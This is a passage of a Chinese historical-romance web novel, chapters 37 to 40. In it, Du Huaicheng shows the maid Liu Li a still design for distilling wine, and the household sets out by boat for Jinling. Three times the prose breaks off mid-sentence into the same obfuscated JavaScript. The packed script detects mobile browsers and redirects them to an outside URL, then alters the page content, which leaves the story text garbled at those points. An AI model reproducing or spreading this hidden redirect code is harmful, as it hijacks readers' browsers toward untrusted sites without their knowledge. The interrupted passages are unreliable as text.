问：“二爷怕是忘了如何扼住我，差点儿杀了我？还有，还有那样的羞辱，这就是你说的‘爱重’？”手指在锁骨游走，那种屈辱感一直萦绕着她。 他明白她所指，“杜淮琤此生最痛悔之事唯此”，说着从靴中抽出一把匕首，反转刀柄，塞到刘梨手里，“你也‘杀’我，如果能求得你原谅，我也无憾了！”抓住她的手就刺向自己。 刀尖刺破衣裳，在腹上戳出一个血洞，刘梨及时甩开匕首，所幸戳得不深。 “你疯啦！”按住他的伤口，血还是从指尖涌了出来。 “我是疯了！从知道你要嫁给伍子骥开始，你们眉目间的情意，像刀子一样把我的神志屠戮干净！可不是疯了？” “你还是杜淮琤吗？你还是修齐孺慕的二叔吗？你这样疯魔，那些仰仗你的人怎么办？杜家百年基业怎么办？” 一连串的逼问，震耳欲聋。明明劝解好自己，认定情爱不过是云烟，今晚看到她的时候还是忍不住心痛。他远比自己想象的不堪一击，比自己想象的情根深种。 “我就不能是我自己吗？” 我就不能是我自己吗？耳中嗡鸣，这是刘梨多少次对自己说的话，竟在这个意想不到的人身上得到共情。 他推开她，跌跌撞撞奔到船头，掬一把水把脸埋进去，像一尊蜡像沉默良久。水的冰凉让他稍稍清醒过来，此刻才意识到刚才多么失态。他还在挣扎什么？伊人心有所属，那样的女子值得被人一心一意珍藏爱护，他能给她的，并不比伍子骥多。 恢复惯常的冷静，杜淮琤找回自己的声音，背对她道：“伍子骥是个可托付的，你跟着他，挺好。” 手上沾了血，刘梨无措地听他继续道，“我也觉得自己恶心，一面说爱重你，一面与旁人议亲。这样的爱意，不值钱得很。” 刘梨张了张口，说不出一个字。 水顺着面颊滴落，一缕湿发贴在鬓角，“我不是‘我’，是白水杜家的杜二。” 她听得懂。 “我不想吓着你。”转过身，努力平静道：“酒水蒸馏制法初见成效，我还需要你。最多一年，一年后我备下厚礼，风风光光地把你嫁出去，好不好？”说到最后近乎乞求。 荷香里一丝不易捕捉的血腥气。水波微漾，携着莲叶一同轻晃。他们的船陷在荷阵中，星子不知何时隐匿去，天地失色。 刘梨听见自己说，“好。” 千里白水流翠色，一船芙蕖渡清风。 37. 三十七 天锅蒸酒 那一晚发生的事，两人俱讳莫如深，默契地不再提起。杜淮琤行动如常，刘梨也不好过问他的伤势，想来是无碍的。她被解了禁，府内均可任意出入，人却不想动了，每日只在西苑里待着，安安静静，仿佛没这个人一般。 “梨儿。”一声轻唤。 “子骥？你何时来的？”养和堂前，伍子骥一身襕衫，惯有的和煦笑容，温柔看向刘梨。多日未见，他的女孩出落地愈发动人，娴静雅致，让他移不开目光。 “你这朵小花，还得被他藏到什么时候？”声音里含着宠溺和不甘。 “先生惯会取笑我。”刘梨有些不自在。 “我已经遣人向刘家提亲，二老很高兴，只说听你的意愿便好。我把你的意思透露给他们，家里已经应允了。” “我哪有什么意思？”姑娘红了脸庞，到底是面皮子薄。 伍子骥急切上前，握住她的手道：“蕉林下你可是许了我的。”刘梨听他说什么蕉林，急得直想捂他嘴，偏伍子骥又道：“回头我就去刘家行纳彩之礼，早早定下才安心。” 他向来是稳当当的姿态，哪见过这样失措的？刘梨抽回手，“一切但凭长辈做主。”这便是应了，伍子骥高兴，刚才手里温软的触感尚留有眷恋，还想上前来，硬生生被人打断。 “伍先生，二爷有请。”程锏的声音一贯冷硬。 伍子骥答应着，快速伸手握了握刘梨的，旋即放开，冲她展露一个宽慰的笑容，步入养和堂内。 手上余温还在。 程锏立在一旁意味不明地盯着她，刘梨现在可不怕他，恶狠狠地盯回去，转进茶房备茶。 “……曲家的意思明年开春后二月初八日子不错，宜嫁娶，届时可迎娶小姐过门。”刘梨奉茶进屋，听到子骥话音刚落。 “明年？曲老爷不怕小姐再长一岁，聘礼就值不得现在这个价码了？”杜淮琤话里意兴寥寥。 刘梨先为子骥奉上一杯香茗，子骥双手接过低头品茶；再转到杜淮琤身侧为他换过先前的残茶。刚想退下，腰间的绦子却被什么缠住，一个趔趄手上的茶盘险些没拿稳。 怒目圆睁，横了罪魁祸首一眼。杜淮琤只当不察，在桌下把玩她的绦带，面上仍是一片平静。 “我看不用等到明年了，重九我就去曲家下聘，年前把事情都办了。”杜淮琤闲闲地开口，仿佛讨论的不是自己的婚事。刘梨很想逃开，可是愈是挣扎，杜淮琤拽得愈紧。 伍子骥虽然看不见书案下两人的动作，也觉出有些怪异。“重阳？是否有些操之过急？一方面咱们府里来不及筹措妥当，另一方面曲府那边准备起来怕也有些仓促。” “有何仓促？曲西阜最想要的聘礼就是杜家的一十八道舟楫航运，号令几路船队一同向江南驶进，于瓜洲口与我集结，再上金陵，那曲老儿见了还不欢喜？至于他曲家小姐的陪嫁妆奁，老狐狸自然心中有数。府里需准备的一应琐事，交由蒋管事料理，需要的器皿家私，挑市面上现成的买来便是。只要肯出银钱，不怕办不妥当。” 市面上现买的，只怕不够称心。杜二爷显然对这件婚事敷衍应对，伍子骥自己的婚事可不愿这般马虎。想到此，子骥瞄了一眼刘梨，丫头不知在想什么，红了面皮儿，一派娇憨。 杜淮琤主意已定，子骥无可反驳，回道：“属下这就去准备。魏先良那里早就想回江南了，一直等着您答复，我这就将爷的意思传达于他。只是要在重阳前赶到金陵，怕是中秋得在江上过了。” “中秋赏江月，倒对得起‘风月’二字。如此，一切有劳子骥。”说完杜淮琤便是一通咳嗽，待缓过劲儿，继续开口道，“等这些忙完了，我就张罗你和这丫头的事。”刘梨一惊，低头正对上杜淮琤的眼睛。那眼神太复杂，有戏谑、有探究，还有些莫名的情绪夹杂其间。 “多谢二爷成全。”子骥起身施礼，坦然道谢，一点不避讳心里的喜意。杜淮琤又是一阵轻咳，挥手示意他退下。 男子衣袂当风，留下一个清矍的背影。抬眼看身边的丫头，目光追随出去，一直到看不见伍子骥身影。刚刚亲口允了她和子骥的婚事，这会伤处被狠狠撕扯着，连带一颗心也是阵阵悸动。杜淮琤向来冷静自制，知道什么样的结果对大家都好，自个儿的那点心意，在大局前不算什么。眼瞅就要迎曲家小姐过门，再把刘梨留在身边她日子怕是不好过——对曲雪吟他略有耳闻，曲家姬妾众多，内院里管事的却是她这个没出阁的姑娘。曲老头调教出来的闺女，想必不简单。虽与伍子骥有诸多芥蒂，但能看得出他对刘梨也是真心，二人两情相悦，自己硬杠在中间好没意思，不如成全了这对鸳鸯。 爱情，对他这样的人而言，何其奢侈？知道她过得好，也就罢了。念及此，杜淮琤一声长叹。 刘梨刚扯回绦子，听他这声叹息来得蹊跷。 “二爷是伤口疼吗？” “是，疼。”他一点不作伪。 “那奴婢给您传大夫。”“不必，大夫也看不好。你别瞎忙活了，我这儿另有件事要请教你。” “请教我？婢子不过是个粗使丫头，少爷言笑了。” “丫头不知道自己的本事吗？这事儿还只有请教你。”说完打开书架上一个暗格，取出一只铁匣来。 玄铁匣子，暗沉无纹。杜淮琤不知动了什么机关，匣子发出低不可闻的闷响。弹开盖子，匣内只一卷纸轴，缓缓展开，是一幅草图。图上画了个深桶，桶底下设有柴灶，以此为基座在其上架起一口大锅，深桶里有管道外通，引出一截出水孔，出水口下备有储存的器皿。 “原来的酿酒蒸取法效率太低，我稍加改进画出这套器具。此乃‘天锅’，分上下两层，下层的桶里装初酿酒液，上层的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021163|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅里装冷水，深桶底下燃起柴火，蒸煮酒液，含有酒精的气体被上面的冷水冷却，凝成液体滴入锅中‘承露’，酒液聚集后从侧边的管道流出，集取便可得‘酒露’。”杜淮琤指着图纸，向刘梨一一作解。 刘梨凝视半晌，久不言语。“怎么，有什么不对吗？”杜淮琤严肃起来。 “妙！妙极了！这都是你想出来的吗？”杜淮琤松了口气，“是受你的启发，因为担心有缺漏，迟迟未敢施行。”“这一定可行的，比我那蒸取的笨法子管用多了，只要在酒坊建几处这样的‘天锅’就可以大量生产清冽的水酒了！天哪，杜淮琤你真是天才！”刘梨由衷赞叹道。 杜淮琤得了她的夸赞飘飘其然，“你也认可我就放手去做了。现在，这‘天锅蒸酒’的法子只有你知我知，咱们还是一条船上的蚂蚱。” 这是杜家的酿酒秘钥，他又告诉了她，更是纠缠不清了。“你不该告诉我。” “这本是你的主意，我只是稍加改进了些，何况受益多的是我，没什么该不该的。” “我会守住这个秘密的。”刘梨坚定说道。她明白这张图纸的意义，不敢居功自傲。 不料杜淮琤却轻笑起来，这世上哪有什么永久的秘密？人心难捉摸，最是不可信任。以后按此图制酒器酿酒，难保哪个环节走漏风声，流传出去早一时晚一时的区别罢了。他不打算告诉刘梨这些，这丫头良善单纯，一脸诚挚地向自己保证守密，让他觉得很暖心。 刘梨见他笑，以为杜淮琤不信任自己。“你不信？”杜淮琤不置可否，收起匣子放回暗格。 她最不愿别人不信自己，“我起誓，如果刘梨泄露半点机密，老天爷罚我颠沛流离，不得善终！” 流离？其音正好应了刘梨的名字。杜淮琤隐隐感到一种不祥，两道剑眉深锁在一起。 “把你的立誓收回去！我可不受这一套。”捏住刘梨脸颊命她啐掉。刘梨吃痛，只得依言啐了声，心底腹诽这人好生迷信。又听他道：“刚才你也听见了，我们得去江南，回去好好收拾和爷一道出发。” 刘梨揉着脸，含糊道：“怎么我也要去？” “我这趟出行一半为曲家，一半为评估新酒在市面上的反馈。前些时日我已在杜家各处酒行分号铺下新酒，你不跟着看看，怎么知道以后给你多少分红？” “分红？”刘梨愣怔住。 “别激动，这是杜家的老规矩，凡有功劳的伙计都会奖一份分红。不多，但够你赎身十来回了。” 刘梨喜不自禁，意外来财摊到谁都得乐，连随杜淮琤出行都不为难了，欢欢喜喜地下去打点行李。 程锏黑沉着脸，“分红？我才知道府上还有这样的‘老’规矩。” 杜淮琤借着咳嗽，眼睛只望向门外。那抹倩影翩跹远去，刚才心里的不安又升腾起来。 流离？ 38. 三十八 扬帆东渡 蒋管事前前后后将六辆马车巡视了一番，才上阶回禀：“大奶奶，都妥当了。”薛素卿点点头，走到第一辆马车前，香尘在前打起帘子，薛大奶奶亲自在车内检视一回，“炭炉也得备好，别瞧现在天气尚暖，回来正是冷的时候，到时候路上现买可没惯用的合意。听闻叔叔这几日身上咳嗽，抑咳的喉糖也该备些。” “嫂嫂放心，丫头都打点完善了。”杜淮琤从大门内踱步而出，他本就生得容貌魁伟，一身云山飞鹤银灰袍，更衬得人意气轩昂气度不凡。 今日杜府府门大开，当家家主远行，阖府上下都恭敬候立以待送行。“回程的时候也该年底了，到时候我绕路把修齐接回来，咱们一家子好好过个年。” 提到孩子，薛素卿脸上也带起憧憬。一去书院几月未见，说不想是骗人的，身上掉下的肉哪舍得送那么远去？只是孩子大了该读书立身，当娘的知道好歹。帕子轻轻抿了抿眼角，“叔叔该出发了，莫误了吉时。” 杜淮琤敛衽行礼，又嘱咐家下一番，才登车开拔。 刘梨坐在后面的车上，心里也是忐忑，前世生在江南长在江南，不知道这一去是否有回归故里的际遇？ 车队行驶了大半日，渐渐慢了下来。今晨起得早，刘梨依着车壁一路打盹儿，忽听得外面有骡马嘶鸣，还有呼喝声起伏，掀了帘子去瞧，远远的竟是一处大码头。 码头处最醒目的不外江面上五艘漕舫，钉接榫合，桅杆高耸，离这么远也看见船头飘着一色的“杜”家旗帜。数不清的民夫正从码头的车驾上卸下货物往船上运。 他们的车队停了一停，杜淮琤下车换马，继续向码头行进。前头也迎来一队人马，与他们汇合一处驶向码头。 沿路聚集了好些看热闹的乡民。“哟，杜家这么阔气的排场，必是有喜事吧？”人群里有人问道。 立刻有人接口道：“你还不知道？咱白水的杜家和金陵的曲家结了亲，瞧瞧，杜二爷亲自去迎回曲家小姐呢。” “金陵曲家？哪个曲家？” “天底下还有几个曲家？堆金积玉连城富的曲家，连圣人都管他家借粮呢。”说话人咋舌道。 “这么说杜家可是攀了高枝咯。” “谁攀谁高枝那还说不定。”说话人卖了个关子。 另一人果然好奇地发问：“哦？此话怎讲？” 先前那人得意道：“看见这大船没？船仓塞满了都不及这些个船值钱，这些船又不及背后的‘网’值钱。”旁人凑了一圈，都等着他下文，这人摆足了架子，才继续道：“你们以为买两艘船就能跑江湖了？水部、都水监、水陆转运使司，上上下下多少关系得打通？稍有点不称意，《庥律疏议》、《水部式》随便找一条就能把船扣上十天半月！船下了水，盐铁转运的官员、各地节度使、观察使都要打点，还有沿途所过州县征收的舟车税，更有朝廷沿江设立的税场……那银子花的，淌水一样。” “嚯，没点家底可跑不了船啊。” “那可不，也就杜家，多少辈人积累下的家业和人脉，曲家搭上这条大船，可是得了道咯。” 这般家世，娶仙女也够了。人群中发出一阵唏嘘声，豪族联姻能有幸观摩一回，已是走大运了。 “看杜家马车上那妞！这股水灵劲儿，换做我才不去娶什么富家千金。天天搂这小美人被窝里耗着，岂不快活！”说完发出一阵浪笑。一帮闲汉听到，立刻挤向前张望。 刘梨本来饶有兴致地看船，发觉动静不对忙放下帘子。一匹白马从车队前列撤下，将将护在刘梨马车旁。 几乎同时，那个不知深浅的汉子脑壳上吃了一记。“谁打我！”地上哔啵一响，捡起来看，是枚彩珠，富贵人家用来装饰马辔头的饰物。这人也是个有见识的，知道有高人在场不敢张狂，顾不得头上伤痛，捂着脑袋灰溜溜跑了。 “前方路途险恶，梨儿可得护好自己。”熟悉的声音，刘梨忙将车帘掀起一道缝。 她从未见过伍子骥骑马，温厚儒雅的人，骑上马也很有英姿。脊背挺直鬓发飞扬，他的未婚夫婿本就是出类拔萃的人。白马少年，一路引得不少姑娘侧目。 这队伍里不止伍子骥一个亮点，领头的杜二爷一身银灰长袍，云山飞鹤纹在日头下婉转流波，身下的枣红马肌肉贲张、神骏非凡，一看就不是凡品。只是今天的装饰过于花俏，满身璎珞，彩珠环绕，气得枣红马鼻孔里直喷气儿。紧随其后的程锏坐骑是一匹通体玄黑的烈马，配上他的缁衣黑巾和冷漠面容，像个从暗夜里走出的煞神。 “子骥此番也同我们一起去金陵？”女子露出半张芙蓉脸儿，期待他的回答。 伍子骥低着头，温声道：“我走陆路，比船队稍快些，到金陵打好前站，再折返瓜州与你们会合。”刘梨心想他一路奔波，很是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021164|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛苦，还来不及说话，车马已驶至码头。队伍停下，立刻有人上前卸车，把箱笼搬至最大的那艘漕舫上去。 杜淮琤一下马便被人拥住，这里头有各铺的掌柜、庄头、管事，有些要随行南下的，有些是留守的，众人少不得又是一番敬贺恭祝。 刘梨被挤在人群外，伍子骥正好借机退下来，悄悄塞给她一个包裹，“留着路上吃。”刘梨打开一角，各色的鲜果蜜饯装了满满一包，抱在怀里，朝子骥绽开个甜甜笑容。 伍子骥吃了蜜糖一般，耳朵攀爬上一丝红。“梨儿可有什么想要的？我在路上买给你。” “我不缺什么，你在外头照顾好自己。按时饮食，渐寒添衣，莫因着年轻，慢待了自个儿的身子。”伍子骥听她絮絮叨叨，话里满是对自己的关切，心底只想着早日把这小丫头娶回去才好。 那厢杜淮琤瞄到二人亲亲热热，心里不受用。“罢了，诸位就送到这里，回去后各司其职，待我返程再邀诸位把盏言欢。”说罢转身登船。 跳板踩上去晃晃悠悠的，刘梨屏气走到半截，瞥见船下涛涛江水，一阵眩晕。伍子骥一直关注着她，见状急上前搀住，让她倚着自己上船，“别向下看。” 走到尽头，杜淮琤立在船艏，伸出一只手来，“子骥留步。” 二人对视，接到伍子骥安抚的眼神，刘梨这才隔着袖子把手交到杜淮琤手里。手上一紧，便被拉上船。 伍子骥不以为意，迎上杜淮琤挑衅的眼神，回以一抹轻笑。 船离岸越来越远，刘梨看着码头上那个白色的身影越变越小、越来越模糊，心里和江水一样滚起波澜。 “才离开就想念了？”男人的气息吹向耳垂，引起一阵轻战。 “二爷是要有妻室的人了，何必拿下面人取笑？”刘梨没给他好脸色。 杜淮琤也不恼，倚着船栏，一副放荡不羁的模样，“知道吗？爷有点后悔了。” 刘梨心里一紧，不明所以地望向他。“刚才那癞汉讲的不错，有了你，我就该天天和你耗在一起，何必千里迢迢去娶那不认识的女人。” “二爷休要再说这样的胡话！”她羞愤不已，硬邦邦撂下话，转身跑进船舱。 杜淮琤轻笑，迎风立于船尾，码头落在后头越来越远，他却仿佛还能看见那白衣秀士似的，“我舍弃所爱换你忠心，伍子骥，莫要负我，莫要负她。” 39. 三十九 翻江白浪 刘梨从上船就开始不对劲，头晕目眩、昏沉无力，开始两天还强撑着打点行装，那晚风浪大了些，实在受不住回自己舱室，夜里吐了个昏天暗地。第二日久不见人，杜淮琤命程锏前来寻她。只见人拥被坐在床头，眉头深锁，竟是一夜未眠。 杜淮琤听到消息前来，见她面色枯槁，似病了一般，探探额头，“并无高热。”唤她名字，好半天只睁开一道缝，话都说不出。 “不会是晕船吧？”还是程锏一语道中。 “这儿污秽，烦请两位出去，让我一人安静缓缓。”刘梨气若游丝，她这间舱室没有窗，气味算不上好。 “矫情。”杜淮琤轻叱一声，兜头给她裹好，也不管她愿不愿意，抱起就往外走。 “放开我。”刘梨只觉得天旋地转，低声抗议了一下就紧闭双眼咬紧牙关，忍着那股眩晕早点过去。 杜淮琤住在上一层的飞卢，屋子不大，设置的精巧雅致。他把刘梨安置在靠窗的榻上，给窗户开了条缝，江风拂来，确实缓解一些。 又端来一杯温水，“少喝点儿润润口，这两天本就吃的少，昨儿夜里一通折腾怕是肚里一点货都没有。” 刘梨谢过，“婢子不中用，给二爷添麻烦了。” “是我考虑不周，头回上船的人少不得过这一关，这会儿送你返程也晚了。我已经让人熬些白粥来，回头喝点睡上一觉，养足精神，待上几日习惯就好。”他温言细语安排的妥当，刘梨想起身道谢，被他按了回去，顺手塞了颗梅子到她嘴里。 酸甜的滋味在嘴里蔓延开，口舌生津，将苦涩的口腔安抚些许。 “好吃吗？从你包袱里顺的。”说完往自己嘴里塞了一颗。那是伍子骥临上船给她的，杜淮琤早惦记上了。刘梨无力地瞪他一眼，莫可奈何。 美人在榻，斜乜倦眼，薄被勾出她玲珑曼妙的身姿。因着体弱，对他的亲近难得没有抵触抗拒。杜淮琤凑近一点，替她掖了掖被子，“要不先睡一会，粥好了我再叫你。” 刘梨本就觉得二人独处尴尬，依言闭了眼，本没打算睡，耳畔江水拍击船身，声声入耳，到底一夜未能安眠，不会儿竟睡着了。 这一觉睡到金乌西沉，窗上映着夕阳余晖，一时不知身在何处。 “醒了？粥还温着呢。”杜淮琤放下账册，端过一碗米粥来。 刘梨接过，想起之前那次也在他面前这样端着粥碗，此一时彼一时，当时怎想到两人以后竟生出这么多的牵连来。 他看她安静喝粥，船身忽然一阵颠簸。程锏进来附耳一番，杜淮琤立刻严正神色，挥手让程锏先退下。 刘梨察觉到不正常，“怎么了？”杜淮琤起身，突然欺近她。刘梨警铃大作，紧张地绷紧身子。男人见状轻笑一声，越过她，将窗户严实掩上。 “有几位突然造访的客人，我去应付一下。”转身，忽然袖子被牵住。 刘梨面色凝重，“千万小心。”不知道为什么，可能晕船让她格外敏感，只觉得这些“客人”不同寻常。 “别担心，江匪而已，爷尚能应付。” 刘梨倒抽一口凉气，“江匪？” 杜淮琤坐了回来，“其实我也有点拿不准，梨儿摸摸我这心，跳得恁快。”不等说完抓着刘梨手就往自己心窝里塞。 那胸膛坚实硬挺，窝着一颗温暖跳动的心。刘梨怔怔摸了一会，忽地发觉不对，忙收回手一脸羞臊。 “我这趟去不知凶吉，不如……”刘梨听他语意迟缓，偏过脸看他又耍什么花招。 杜淮琤涎着脸凑近，“不如小梨儿你亲我一口，待会杜某便是死于江匪刀下也无憾了。”飞来一个腰枕，杜淮琤险险躲过，看来精神是恢复些了。 出得甲板，见船队正停在一处狭窄隘口，十来艘艨艟斗舰远远地在江面一字排开，每艘上都有若干火把，在灰黑的天光水色间连成一线分外通明，像条赤链蛇盘踞在江口。 冲船老大点点头。杜家领船的江老大跑了几十年船，依稀识得对面是“翻江浪”白郎的人，立于船头喊道：“诸位好汉可是白大侠的人马？” “既知我家头领的名号，还不快快传话给你家主子，我家头领得知杜当家要娶媳妇，特带兄弟们来讨杯喜酒喝！”江老大不敢怠慢，回身禀过杜淮琤，将白郎一行请上主船。 那些船行进迅速，倏忽间来到近前。打头小艇上一精瘦身影跨立船头，在晃荡的江面上也稳稳当当，则如定海神针一般，便是诨号“翻江浪”的白郎。 杜淮琤亲自迎立船头，甫见白郎便重重往他胸上来了一拳，被对方轻巧格开。 “浑小子！还在干江匪这没前途的勾当。” “前途于我如浮云，倒不如现在这般自在逍遥。你杜小二还不是老样子做着奸商？”说罢两人哈哈大笑。 原来二人已是旧识。杜淮琤早年随掌事们跑船与白郎打过交道，说起来也是不打不相识。白郎当时在江湖上初有名气，号称“侠盗”，有回“顺”了些杜家酒，杜淮琤那会年少气盛，对此行径忿忿不平，竟然只身闯入白郎老巢剑挑“翻江浪”，二人有来有往斗了几番，脾气对味，最后倒成了莫逆之交。 舱内立刻摆下酒宴，杜淮琤白郎依宾主位坐了，一干人等把酒言欢，好不痛快。 “想不到潇洒放逸的杜二爷也要娶妻成家了。”白郎斜靠在圈椅上，一双凤目带着揶揄。 “小弟身在俗世，比不得白兄恣意江湖。”说罢杜淮琤举杯浮一大白。 白郎也将面前的酒干了，“世人皆说江湖好，真正舍得落草江湖的又有几个？白某当初形势所逼，落草也是情非得已。”这白郎面色清朗、出口不凡，虽说是个草寇，却是念过书的。也是造化弄人，才被逼的落草为寇。 杜淮琤岔开话题，劝下几杯酒，白郎这才打开话匣子道明此番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021165|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前来的缘由。 “听江湖朋友传闻，杜二爷把杜家一十十八道舟楫航运全做了聘礼？” “正是。”杜淮琤吐出两字。 白郎见他毫不避讳，放下酒盏，慢慢说道：“杜家船队行商多年，与我等均相安无事。白郎此次也是依众码头的兄弟所托，前来向杜二爷问个明白，杜家的船队易了旗，咱们还是按老规矩来吗？” 众人都明白白郎话里的意思，杜家船队换了主，各路虎视眈眈的江匪是不是可以对这些肥羊下手了？船舱里安静下来，只听得舱外萧萧而过的江风。 “谁说杜家易了旗？”杜淮琤眼底迸出光，冷峻的声音清晰传至每个人耳中。“我的船只是借那曲老儿玩些时日，给他过过瘾而已。既然是过瘾，自然要让我那准老丈人玩得畅快，至于怎么玩……” “如何？”白郎坐正问道。 “江湖、江湖，自然要见识见识风浪。愚弟听说白兄向来和气‘生财’，从未夺人性命、烧毁船只，可是属实？” “正是……杜二爷意欲为何？”白郎防备道。这个男人有种意味不明的邪气，令他这手段果决的盗匪也忌讳三分。 “杜某只是设想，适当的时候，如果有必要，白兄可以烧几艘杜家货船练练手。” 这个男人！在他嘴里烧几艘大船跟丢件旧衣裳一般简单，为达目的不惜损伤自身！这不是有钱就可以办到的，更有豁得出去的魄力，他杜淮琤，何尝不是个背离“道”的“匪”呢？如果可以，永远不要与之为敌，白郎在心底告诫自己。 “白郎明白，我会把杜二爷的意思传达给各码头的弟兄。二爷放心，您的船上哪怕挂个屁股帘儿，我们也只认作‘杜’字旗！” “呸，你才拿屁帘做旗！别再说这等扫兴的话，你我兄弟只管喝个尽兴，不醉不归！江老大，传我的话，到后船取三十坛美酒送到白大侠船上，让弟兄们今晚一起通宵彻饮！” “多谢杜二爷！早知您有此等雅兴，白某应当携几位美艳妖姬歌舞助兴才对，失算失算！”众人此刻都笑出声来，一扫刚才的压抑沉重。 美艳妖姬？我舱后勉强有一位算得上的，想到那丫头刚才的羞臊模样，不由得摇摇头，这会儿不知晕船和缓些没有，前头这么吵，别待会又昏沉起来。 欢宴一直持续到后半夜，白郎从“翻江浪”喝成“翻眼浪”，被手下扶着回船去。杜淮琤也有些醉意，依然坚持送到船头，临了牢牢扯住白郎衣袖，含混问道：“白兄弟，你在江上混迹多年……可有，治晕船的方子？” 白郎好半天才弄明白杜淮琤的意思，笑道：“这你可就问、问对人了，要、要说治晕船的方子，我正有一个。” “你说。”杜淮琤好像有些站立不稳，紧紧扶住船栏。 白郎嘴角浮起一丝笑，竖起一根手指得意道：“方子就是——吐啊吐就习惯了……”说罢栽倒在地，一睡不醒。 40. 四十 玉壶春色 待白郎远去，杜淮琤脸上又恢复了以往的清明神色。从小闻着酒香长大，想醉也不是件容易的事。 酒宴结束，整个船队也静谧下来。远处白郎的船队次第退去，片刻就消失了踪影。小艇划破水面，将月影搅成一江碎金。杜淮琤想起舱房的人，疾步转回舱内。 舱里没点灯，借着迷蒙月色可以看见榻上一团人影。呼吸有点沉重，可见睡得不甚安稳。 额上一片微凉，稍稍舒缓了胀痛的脑袋。耳边有人轻声呼唤自己的名字。是谁？话语轻柔，透着浓浓关切。“外婆~”刘梨喃喃道，“小梨想你。” 俯身掖了掖被子，身上的酒气熏着了她，晕船的人鼻子格外敏感，睡梦里就抱怨起来，“难闻。” “麻烦。”刮了刮她鼻子，杜淮琤出舱沐浴更衣。 晚上船队就停泊在河湾，江涛轻抚船身，一浪接一浪赋有节奏。窗户不知什么时候又打开了，清冽的风吹进来，刘梨刚觉得有点凉，很快就有热源贴上来，驱散了切切夜冷。 杜淮琤的声音在暗夜里低回，有着月色般的魅惑。“小梨子，我不会伤害你。我的时间不多，咱俩就这样多待一会儿，好不好？” 这晚刘梨老觉得有人在耳边絮絮叨叨，奈何头昏沉得无法思考，那呢喃声仿佛催眠的梵呗，倒是叫她一夜好眠。 隔日，船队在一处港埠靠岸。这是自白水出发后途经的第一个大码头——徽吉。船队需要在此做一番大补给，另外，此处也是杜家酒业的重要埠头之一。 多日来第一次踏上坚实的土地，刘梨巴不得再也不要回那艘船上去。“二爷，奴婢就从这儿回白水城吧。再坐船，我怕是没命到金陵。” “都到这儿了，再回去岂不是半途而废？走，陪爷巡视巡视我家那几间铺子去。”说完就把女子塞进一架轻便马车，驱车往城里驶去。 早间的晨雾还未散尽，阳光透过薄雾给一行人罩上迷离的色彩。刘梨卷起车帘大口呼吸林间的新鲜空气，离了白水城，出门在外令人松懈不少，不再拘泥于府里的规矩，率真心性慢慢显露出来。眼前景致迅速退后，她忆起从娄山幸遇子骥到现在，穿越过来已有半年多光景，弹指一挥间，似乎已适应了现在的环境。刘梨不是没想过回到从前，她想依菲姐，想学校，想那个即使只有一个人的家，只是归途不得法，在此地也有了牵绊，不若随遇而安吧。 “好在我的运气不错，遇到不少好人呢。”刘梨暗想。心情振奋起来，眼见程锏的黑马跟在车后，毛色油亮像披了一身黑缎。她把脑袋伸出车窗说道：“程大哥，怎么从没见过你笑？你要是表情松弛一点，倒也不负‘鲜衣怒马少年时’。”冷峻的面孔僵硬片刻，手中马鞭微抬，刘梨没看清他动作，车帘已被震落下来，恰好砸在她脑壳上。 “哈哈，梨丫头好大胆，敢来逗弄程锏这冷面邪神。你可知道之前作弄他的醉香楼姑娘后果如何？” 刘梨揉揉脑袋，眼神期待杜淮琤讲下去。杜淮琤凑近车窗，几乎是耳语道：“他将人家一个娇滴滴的姑娘，独自扔在乌鬃马上跑出十里地去，最后是被人架下马的。听老鸨说那姑娘在床上躺了半月才勉强下地行走，吓得鸨儿勒令不许再有姑娘靠近程锏一步，连累二爷我有好阵子也进不了醉香楼呢。” “谁要听你那些腌臜事？污了我耳朵！”放下帘子坐回车里。 杜淮琤隔着帘子继续聒噪道：“怎么叫腌臜事呢？我那都是生意场上的事，那些脏的污的可都没有。”刘梨信他才怪，蒙着头，不再理会外头。 说话间车马进了徽吉城。徽吉是沿江重镇，大街上车马如龙、人声喧嚣，繁华程度比白水城也不遑多让。 他们一行人在城里最热闹处停下，程锏在前探过路，回头领着人马拐入条后巷，随即被迎入一家宅院。马车停稳，刘梨跳下马车，望着墙头的“杜”字旗发愣。 “怎么了，梨丫头？” “您说几间铺子，可没说是几栋楼啊。”刚才在街上她从帘缝里瞧见，市口最好的一排楼都挂了“杜”字招幌。杜家到底富有到什么程度？ “这才哪到哪？沿江每个埠头都有杜家的产业。爷带你一家一家探过去。”杜淮琤脸上掩不住的得色。“知道我的实力了？梨丫头若是后悔，不想要伍子骥了，爷这儿还有你的位置。”说罢捂着心口深情款款的看着她。 这模样换作别人还真招架不住，刘梨白他一眼，指指对街挂得更高的另一面招旗，没好气道：“天底下有钱人多了，您看看人家的排场可不比杜家少一分。” 